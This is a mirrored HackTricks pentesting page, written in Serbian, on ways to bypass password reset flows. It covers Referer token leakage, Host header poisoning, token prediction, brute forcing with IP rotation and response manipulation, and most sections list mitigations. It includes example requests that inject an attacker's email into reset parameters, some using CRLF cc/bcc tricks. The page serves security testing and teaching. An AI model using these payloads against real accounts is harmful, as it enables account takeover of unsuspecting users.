mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
174 lines
8.2 KiB
Markdown
174 lines
8.2 KiB
Markdown
# Reset/Forgotten Password Bypass
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Curčenje Tokena za Resetovanje Lozinke Putem Referrer-a**
|
|
|
|
- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
|
|
- **Uticaj**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
|
|
- **Eksploatacija**: Da biste proverili da li token za resetovanje lozinke curi u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer ovo može izložiti osetljive informacije trećim stranama.
|
|
- **Reference**:
|
|
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
|
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
|
- [Članak o Curčenju Tokena za Resetovanje Lozinke](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
|
|
|
## **Trovanje Resetovanja Lozinke**
|
|
|
|
- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zloćudni sajt.
|
|
- **Uticaj**: Dovodi do potencijalnog preuzimanja naloga curenjem reset tokena napadačima.
|
|
- **Koraci za ublažavanje**:
|
|
- Validirati Host header u odnosu na belu listu dozvoljenih domena.
|
|
- Koristiti sigurne, server-side metode za generisanje apsolutnih URL-ova.
|
|
- **Zakrpiti**: Koristiti `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
|
|
- **Reference**:
|
|
- [Acunetix Članak o Trovanju Resetovanja Lozinke](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
|
|
|
## **Resetovanje Lozinke Manipulacijom Email Parametra**
|
|
|
|
Napadači mogu manipulirati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje.
|
|
|
|
- Dodajte email napadača kao drugi parametar koristeći &
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&email=attacker@email.com
|
|
```
|
|
- Dodajte email napadača kao drugi parametar koristeći %20
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com%20email=attacker@email.com
|
|
```
|
|
- Dodajte email napadača kao drugi parametar koristeći |
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com|email=attacker@email.com
|
|
```
|
|
- Dodajte email napadača kao drugi parametar koristeći cc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
|
```
|
|
- Dodajte email napadača kao drugi parametar koristeći bcc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
|
```
|
|
- Dodajte email napadača kao drugi parametar koristeći ,
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld",email="attacker@mail.tld"
|
|
```
|
|
- Dodajte email napadača kao drugi parametar u json niz
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
|
```
|
|
- **Koraci za ublažavanje**:
|
|
- Ispravno analizirati i validirati email parametre na serverskoj strani.
|
|
- Koristiti pripremljene izjave ili parametrizovane upite kako bi se sprečili napadi injekcijom.
|
|
- **Reference**:
|
|
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
|
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
|
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
|
|
|
## **Menjanje email-a i lozinke bilo kog korisnika putem API parametara**
|
|
|
|
- Napadači mogu modifikovati email i lozinku parametre u API zahtevima kako bi promenili akreditive naloga.
|
|
```php
|
|
POST /api/changepass
|
|
[...]
|
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
|
```
|
|
- **Koraci za ublažavanje**:
|
|
- Osigurati strogu validaciju parametara i provere autentifikacije.
|
|
- Implementirati robusno logovanje i praćenje kako bi se otkrile i reagovalo na sumnjive aktivnosti.
|
|
- **Reference**:
|
|
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
|
|
|
## **Nema ograničenja brzine: Email bombardovanje**
|
|
|
|
- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja email-ova, preplavljujući korisnika reset email-ovima.
|
|
- **Koraci za ublažavanje**:
|
|
- Implementirati ograničenje brzine na osnovu IP adrese ili korisničkog naloga.
|
|
- Koristiti CAPTCHA izazove kako bi se sprečila automatska zloupotreba.
|
|
- **Reference**:
|
|
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
|
|
|
## **Saznajte kako se generiše token za resetovanje lozinke**
|
|
|
|
- Razumevanje obrasca ili metode iza generacije tokena može dovesti do predviđanja ili brute-forcing tokena. Neke opcije:
|
|
- Na osnovu vremenskog pečata
|
|
- Na osnovu UserID-a
|
|
- Na osnovu email-a korisnika
|
|
- Na osnovu imena i prezimena
|
|
- Na osnovu datuma rođenja
|
|
- Na osnovu kriptografije
|
|
- **Koraci za ublažavanje**:
|
|
- Koristiti jake, kriptografske metode za generaciju tokena.
|
|
- Osigurati dovoljnu nasumičnost i dužinu kako bi se sprečila predvidljivost.
|
|
- **Alati**: Koristiti Burp Sequencer za analizu nasumičnosti tokena.
|
|
|
|
## **Pogodna UUID**
|
|
|
|
- Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali važeće reset tokene. Proverite:
|
|
|
|
{{#ref}}
|
|
uuid-insecurities.md
|
|
{{#endref}}
|
|
|
|
- **Koraci za ublažavanje**:
|
|
- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne bezbednosne mere za druge verzije.
|
|
- **Alati**: Koristiti [guidtool](https://github.com/intruder-io/guidtool) za analizu i generisanje GUID-ova.
|
|
|
|
## **Manipulacija odgovorom: Zamenite loš odgovor dobrim**
|
|
|
|
- Manipulacija HTTP odgovorima kako bi se zaobišle poruke o grešci ili ograničenja.
|
|
- **Koraci za ublažavanje**:
|
|
- Implementirati provere na serverskoj strani kako bi se osigurala integritet odgovora.
|
|
- Koristiti sigurne komunikacione kanale kao što je HTTPS kako bi se sprečili napadi "man-in-the-middle".
|
|
- **Reference**:
|
|
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
|
|
|
## **Korišćenje istekao tokena**
|
|
|
|
- Testiranje da li se istekao token i dalje može koristiti za resetovanje lozinke.
|
|
- **Koraci za ublažavanje**:
|
|
- Implementirati stroge politike isteka tokena i validirati isteak tokena na serverskoj strani.
|
|
|
|
## **Brute Force token za resetovanje lozinke**
|
|
|
|
- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla ograničenja brzine zasnovana na IP-u.
|
|
- **Koraci za ublažavanje**:
|
|
- Implementirati robusno ograničenje brzine i mehanizme zaključavanja naloga.
|
|
- Pratiti sumnjive aktivnosti koje ukazuju na brute-force napade.
|
|
|
|
## **Pokušajte koristiti svoj token**
|
|
|
|
- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa email-om žrtve.
|
|
- **Koraci za ublažavanje**:
|
|
- Osigurati da su tokeni vezani za korisničku sesiju ili druge korisničke atribute.
|
|
|
|
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
|
|
|
|
- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje svoju lozinku.
|
|
- **Koraci za ublažavanje**:
|
|
- Implementirati pravilno upravljanje sesijama, osiguravajući da se sve sesije nevaže prilikom odjave ili resetovanja lozinke.
|
|
|
|
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
|
|
|
|
- Reset tokeni bi trebali imati vreme isteka nakon kojeg postaju nevažeći.
|
|
- **Koraci za ublažavanje**:
|
|
- Postaviti razumno vreme isteka za reset tokene i strogo ga sprovoditi na serverskoj strani.
|
|
|
|
## Reference
|
|
|
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|